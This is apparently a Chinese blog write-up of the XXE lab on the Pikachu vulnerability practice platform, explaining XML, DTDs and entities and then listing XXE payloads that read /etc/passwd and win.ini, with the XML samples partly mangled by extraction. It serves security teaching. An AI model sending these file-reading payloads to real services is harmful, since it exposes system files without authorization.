• Pikachu漏洞练习平台之XXE(XML外部实体注入)


    目录

    什么是 XML?

    什么是DTD?

    什么是XEE?

    常见payload


    什么是 XML

    XML 指可扩展标记语言(EXtensible Markup Language);

    XML 不会做任何事情,而是用来结构化、存储以及传输信息;

    XML 标签没有被预定义,需要我们自行定义标签。

    XML总体由元素组成,元素可以额外附加属性,需要提前定义,元素中可以引用实体。

    XML中的5个预定义实体引用:

    1. &lt; <
    2. &gt; >
    3. &amp; &
    4. &quot; "
    5. ' '

    实体根据引用方式,分为内部实体与外部实体 。

    实体可以理解为变量,必须先在DTD中定义声明,然后在文档中的其他位置引用该变量的值。

    1. <square width="100" /> &a; </square>
    2. 元素 属性 实体

    内部实体:

    "实体的值">
    

    外部实体:

    SYSTEM "URI">
    

    参数实体:

    "实体的值">或者SYSTEM "URI">

     一个 XML 文档实例:

    1. "1.0" encoding="UTF-8"?>
    2. <note>
    3. <to>Toveto>
    4. <from>Janifrom>
    5. <heading>Reminderheading>
    6. <body>Don't forget me this weekend!body>
    7. note>

    第一行是 XML 声明,它定义 XML 的版本(1.0)和所使用的编码(UTF-8 : 万国码, 可显示各种语言);下一行描述文档的根元素(本文档是一个便签:);接下来 4 行描述了根的 4 个子元素(to, from, heading 以及 body)。

    什么是DTD?

    文档类型定义(DTD)可定义合法的XML文档构建模块,它使用一系列合法的元素来定义文档的结构,DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

    DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

     内部的 DOCTYPE 声明:假如 DTD 被包含在 XML 源文件中

    外部文档声明:假如 DTD 位于 XML 源文件的外部

    SYSTEM "文件名">

    带有 DTD 的 XML 文档实例:

    1. "1.0"?>
    2. note [
    3. note (to,from,heading,body)>
    4. to (#PCDATA)>
    5. from (#PCDATA)>
    6. heading (#PCDATA)>
    7. body (#PCDATA)>
    8. ]>
    9. <note>
    10. <to>Toveto>
    11. <from>Janifrom>
    12. <heading>Reminderheading>
    13. <body>Don't forget me this weekendbody>
    14. note>

    在DTD设置了一些变量,然后在XML文档中再使用到这些变量。 

    什么是XEE?

    XXE就是攻击者自定义了XML文件进行了执行,最终效果实现读取系统文件。

    常见payload

    测试代码

    1. "1.0"?>
    2. foo [
    3. xxe 'test' > ]>
    4. <foo>&xxe;foo>

    读取文件的payload

    对于Windows:

    1. "1.0" encoding="UTF-8"?>
    2. foo [
    3. xxe SYSTEM "file:///c:/windows/win.ini" > ]>
    4. <foo>&xxe;foo>

    对于Linux:

    1. "1.0" encoding="UTF-8"?>
    2. foo [
    3. xxe SYSTEM "file:///etc/passwd" > ]>
    4. <foo>&xxe;foo>

    UTF-8(可变长度编码)有时候也用ISO-8859-1(单字节固定长度编码)也可不指定编码

    测试解析xml代码情况

    回显test

    因为我这里的靶场是使用Linux系统搭建的,因此尝试读取 /etc/passwd

    读取成功

  • 相关阅读:
    明天报名!!济宁教师招聘报名照片及常见问题
    13设计模式-行为型模式-策略模式
    Spring事件监听机制
    uniapp大概是怎么个开发法(前端)
    AQS核心原理分析《下》
    YSA Toon (Anime/Toon Shader)
    《rust学习一》 fleet 配置rust环境
    商人宝:选择服装店收银系统源码需要注意的三个关键点
    STM32F4X SDIO(一) SD卡介绍
    Bean的作用域和生命周期
  • 原文地址:https://blog.csdn.net/Myon5/article/details/134437760